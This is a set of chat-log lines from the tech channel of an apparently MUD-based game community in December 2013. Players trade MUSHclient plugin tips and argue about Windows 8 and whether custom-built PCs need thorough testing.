T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then either your order is off, you are redrawing the window after it is created, or you are making a typo in your hotspot call
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: all the hotspots are added with the same function
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: and I do redraw, but when I redraw, I redraw the entire window at once.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? Do you change the hotspot id? Those must be unique
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: ahh, good point, I was trying to cheat and use the id for a command.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: okay, I got it :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: thanks! :) worked, was that there was not a unique id.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Scrump Tech: Is there a way to update the MUSHclient without reinstalling?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Nuanse Tech: anyone familiar with bast's eqset plugin? Currently when I do "eqs checklevel" it removes 2 items that are correct level (171) and puts them into bag, even when they should be in lvl 171 set...?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Taste The Alestorm Tech: whats the command to resizeyour windows in mushclient? resize?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: resetaard?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Taste The Alestorm Tech: thank you!
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Turie Tech: resetaard
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Turie Tech: aardunlock and aardlock for unlocking and locking your mini-windows.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: wow so far at least Avast seems much better than AVG Free, so snappY!  And the software update feature is neat.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Forfiter Tech: how it compares to avira free ?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Never tried that one.t
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i dunno, i find avira works fairly well
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: regular updates
T3/r7/2013-12-07.txt.gz:{chan ch=tech}<pretitle> Scars Tech: who wants to help me set up a torreststream client so i can stop watching sporting events with crappy flash players?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}<pretitle> Scars Tech: torrentstream*
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Icebox Tech: Looking into an ultrabook.  Anyone have recommendations?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: any of yall familiar with seagate external hard drive?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Adrym Tech: anyone use ham radios around here?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Pleiades Tech: no
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Turie Tech: Does a radio duct taped to a pig count?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Adrym Tech: lol, im afraid not
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Drachon Tech: is anyone good at plugin programming on right now? i have a question about making an existing plugin, "aardwolf_campaign_noter", moveable and stay where i move it to....
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Pleiades Tech: there's a HAM store clsoe to my house if that counts :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Turie Tech: How about a radio inside a ceramic pig?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: drachon: you'd want it to save state...but there are newer/better/supported plugins that do the same thing
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Drachon Tech: oh abelinc? can you point me to one please?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: that one (like many by Gammon) was made as a proof-of-concept/demonstration to showcase MUSHclient miniwindows
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Pleiades Tech: dont let him point you to anything!
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: finger bast and go to his site...his miniwin_cp is the equivalent of that plugin
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Drachon Tech: ty
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Drachon Tech: cool. that is a much better plugin
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Useful Hadar Tech: is there an iphone app that if lost lets you call(or text) and bypass the phone setting to have the ringer on?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: any recommendations for 10" tablet for parents. preferential to android
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Sir Honid Tech: how do you reset s&D gui
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: xset gui reset
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: xset gui reset
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: or xset reset gui, I forget
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or don't be a script kiddy :P
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Sir Honid Tech: thanks
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Mordyn Tech: Hi, where could i find more info on the use of scripts?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: does anyone here use tomato or dd-wrt?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: after downloading the aardwolf MUSHclient package, finger bast for a ton of plugins for it
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: just had my first run in with windows 8
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: did it have inflation?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayon Tech: My Condolences.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: it was diabolical
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: I have windows 8 phone, it sucks
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: on a touch capable phone, i could see why
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: but on a laptop, wtf?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: win 8 is a solid OS.  ppl just have issues with it's layout
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: is the phone version the same as the pc version?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: what like the having to go into desktop mode to set the IE homepage?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: nah I can't find any options when I navigate
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: Windows 7 is a solid os. There was no need to try to make laptops look like phones.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: heh, i needed to change the mouse pointer, ended up having to go via desktop, display properties just because there's no proper start menu
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: windows 8 phone is exactly like desktop version
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: I agree win 7 is grat,  win 8 improves on it.  (under the hood)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: well if it's any consolation, it boots up nice and quickly
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: BOFH did a great piece on unnecessary upgrades a while back
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: but in all other respects, the UI appears to have been designed by a 6yr old with ADHD
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah better than blackberry os lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: at least rim never tried to make a desktop look like a phone
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: or a phone look like a desktop
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you like your pc OS to look like a pc OS and your phone OS to look like a phone OS, Luke?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: that is my preference
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: then you're a racist and just adding right wing spin, apparently
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Tigernuts winks at Lukesmart.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: pc os like pc yes
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: well you must be a commie
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: phone like p.c too^^
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: me racist?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: and it's not right wing spin, it's the Truth (with a capital T)  :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Garthis Tech: hrm this is totally tech talk and not just gossip eh
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: how long it take you to figure that out
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: truth is right wing spin, notwalking
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: most of sa is racist, not a big thing
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: go back to sleep, your government is in control
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Garthis Tech: ok how about take it to tells or some other channel where pointless conversation is expected like gossip
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: go back to your mudding, folks, the channel police are in control
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: julius malema factually and documented*(what an idiot0 said 'the boer must go back to where they came from, they don't belong here'
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: best bump it to debate, lukes
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayon Tech: I don't know, this is tech, not gossip, Garthis is right.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, i was agreeing
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: MIcrosoft required a new gimmick to persuade customers to upgrade
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: nah I'm just confirming the racist thing
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: next we'll see xbox os systems hahah
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 'press lt to switch tabs'
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Gener feels so much safer now that channel police are here.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: how long before Microsoft comes out with Windows 9
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: when they come up with a new phone
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: this is their second attempt at the communications market. They tried to compete with a PDA before and failed.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: there were a number of years between XP Vista Win7 Win8, but are the intervals getting shorter
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: the pda's were good, the trendy public weren't ready for them
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: it's call squeezing the customers' pocketbooks.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: win 9 will be out in 2015   is the expected release date
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: I wouldn't mind 20 more releases as long as I could choose which one would go on my new laptop. But the OEMs are cowed by MS.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: it's going to take a lawsuit to pry the OS from the comps.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you can get laptops with no os
T3/r7/2013-12-08.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: and actually, IBM lost a lawsuit for bundling software with their hardware sales. So there is sort of a precedent.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: yeah del partition  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: if people are prepared to pay a premium for a good quality bit of hardware without all of the corporate tentacles in it, then there will be a market for it. Truth of the matter is people want cheap sloppy chinese crap with every bit of corporate gimmickery and spyware in it that they can because it's trendy
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: so you're sort of screwed, really
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: screwed is not a curse?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: literally?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: Apple bundles software with their hardware  (strange IBM is different)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: i can buy computers here with no os installed, or linux even
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: cuts down your options significantly, redryn, but nogs
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: what do you mean options?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: models available, vendors selling
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: eh
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: the computer shops here just put a list of components, you can pick whatever you want
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: or were we talking laptops
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you can get well built tablets and laptops like that?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: if you know what you're doing, yes
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: in which country is Redryn residing with those computer shops
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: i will sell anyone a pc without os.  same price though
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: singapore
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: didn't specify
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: laptops are harder to get yea
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: same thing is possible where I live too Redryn
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Izocinoc Tech: you can find shops like that in the US, too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Bunnyy Tech: hello fellow singaporean! haha
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: SA too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: but there are a couple of shopping malls dedicated to computing stuff
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: so they sell all these custom things
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: not tablets though
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: if you walk into like a normal mall with electronics shops, all laptops have OSes installed
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah components
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: yea they sell the components in bundles
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: so basically they build the entire thing for you for 20 bucks or something
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: Future Shop used to do that in Canada, select all the parts to a pc from a list, pay the price, and Future shop builds the computer, but they stopped
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: here you can buy seperate
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: bundles are easier for those who don't know what goes into a computer :p
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: but yea you can do either
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: buy your buildm and charge extra 350 for putting it together
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: costs like $20 to put it together here
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: place the order come back 2 hours later
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: if you buy an OS they'll install it for you too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: I cahrge $65 to build pcs 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: you're expensive
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: cheapest around thoug  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: they sell the OS less laptops here as dos laptops
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 350 bucks translates to under 34 us doller
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: sgd$20 is about 16 usd
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: I'd charge about $30-35 to build a pc
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 350 bucks could get you a chassis
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: build it but not test it or install anything?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: build it and install an OS
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: well if you're happy working for $5 an hour i guess
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: doesn't take that long to put a pc together
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and if you can install several os's in parallel
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: os is like a component
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: if you're doing 1 computer at a time, that's slow though
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: windows 7 is around 1000bucks now
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: hour to build, 2 hours to install, 24 hours to test
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: what sort of tests are you running?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 30 day garuntee^^
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: Dos is an OS, how far did the nonMS Dos proceed - did Dos add a gui like linux did 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: full hd scan, burnin tests on the ram
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Negader Tech: win 3.1
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: clearly not needed for ss drives
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Nuanse Tech: windows. 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: no one i know does tests like that
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you get warranties for a reason
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: we have built p.c's aswell laptops tablets
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: most of the appliances have 1 or 2 years warentee
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: depends who you're building for
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: consumers i assume
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: or if you're the one dealing with the complaints
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: biuild it make sure it posts then make sure drives and ram shows up.  that is how u test a barebones system
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i'm not being rude, and i know what you say is how it happens, but it's precisely for that reason why stuff is always broken out of the box these days
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i worked 15 years in the pc building game, and i know what the raw failure rates on components is like
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: or buy name brands:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: thats why i was shocked you don't test properly
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: name brands are not immune
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you can spend 100 days testing, or spend 1 day handling the 1 return you get
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: but they carry warentees!!!
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: imo
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: it's not to be schocked. It's industry standard here
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: name brands are identical to brown box. like groceries, all made by slaves in china
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and for businesses, i doubt their customers care about their testing if it's working
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol or vietnam:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: 1 day? you mean 1 day to handle it, the money it costs to ship it, the 14 day turnaround, the chasing it up, the getting sent another broken one
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you don't notice if a working computer has been thoroughly tested or not
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: (or singapore^^)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: built it, turn it on and see if it works. Finished
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: well i live in singapore
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: 1 day turnaround
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: maybe namebrands ship factory-almost-rejects to the UK, so more testing is required in the UK
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: 30 minute drive, 30 minutes to retur
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Negader Tech: they don't make it in Taiwan anymore
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you won't get 1 day turnaround on faulty goods here
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Redryn shrugs helplessly.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and i'm talking about business perspective
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: they don't really care about end user experience
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: tigernuts do you have any discounts:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i was led to understand by people very high up in the supply chain that failure rate at component level is 5-10%
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: testing increases your own costs
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: for minimal gains
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Akuri Tech: it is best to test the product well cause a bad taste in the customers mouth can go a long ways
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: 1 day turnaround? You mean you have only one day to return the item to the shop if it doesn't work? Damn that's hsort
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: no, you get a replacement in 1 day
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: ayis/redryn, if you're a consumer buying it from a shop, if it's within 28 days and they have a replacement in stock, sure you can do that
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you have the usual warranties..
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: if it's out of 28days, or you ARE a builder, you can't return it to the shop because it isn't a shop, it's a supplier half way across the country
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: eh i walk in a year later and say the hd is dead, i get a replacement on the spot
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Redryn shrugs helplessly.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: ok thanks. Didn't know the meaning of 'turnaround'
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: since the whole premise was based on someone building pc's for other people for a fee.....
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: mmm the singapore shops are worse than out somali and nigerian shops
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: tn
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: as the builder
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you can test 100 systems
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and fix the ones that are spoilt
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and face the same turnaround problem
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: or
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: don't test anything (as extensively)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and wait for customers to test and return the faulty one
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and then you send it back to the supplier
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: that'll do wonders for your reputation :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: guess which one makes more economical sense to you?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: yea you get 1% of customers whining
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: big deal
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: no, you'll get 10% whining
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: we do the second option Redryn
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: testing is automated, it just requires desk time
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: but you get a wad of cash
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: ka ching-a-ling getting paid over here*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: how much they whine depends on how fast you handle the problem cases
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: if they say it doesn't work
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and you say oh so sorry here's a replacement
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and here's a $100 voucher
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Redryn shrugs helplessly.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: you still save on all that time
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: but i need to sleep now
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: ok, so not only have you pissed off your customer, you've just wiped out your entire margin giving them a voucher in compensation?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: i did some geography on singapore
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: more like your customer will go around saying
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Akuri Tech: then if they say they want a refund then you are still out your time and money
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: this guy is really good
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: would have been cheaper to just test the damn thing
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: couldn't find it on map
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: he handled the return well
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Tigernuts nods at Akuri.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: 1% failure-rate in Singapore, 10% failure-rate in the UK -- that is statistically significant
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: that's why we just replace and don't even do vouchers over here
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: i'm just giving an example for the voucher
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: the 1% failure rate probably includes non-failable goods, zade
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: if you spend time testing then your price will go up.  you don't do that much testing.  just basics
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: but how you handle returns makes a big difference
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: if you tell them to go email a b c d e, fill in 5 forms and crap...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: wait 7 days for a reply
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: my experience is that it takes time, Gener, but it saves you considerable amounts of money in the long term
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: then you have a pissed off customer
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: when I did find it though, it was so tiny! and one a couple hundread million populate... ouch lots of broken computers
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: when I did find it though, it was so tiny! and one a couple hundread million populate... ouch lots of broken computers
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: maybe we're just more reasonable people here :P
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: a couple hundread million populated...:0
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: and have more reasonable expectations of vendors
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: more like 5 million population
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: no, you're definitely not, you just are looking at it from a different perspective
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: you serious?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: nope, all my customers are happy!  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Redryn Tech: well goodnight
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: lets try from a different angle: If I go to a supermarket and buy a cheap off the shelf laptop and it goes wrong, i expect to go through the refund/replacement hoops to sort it out
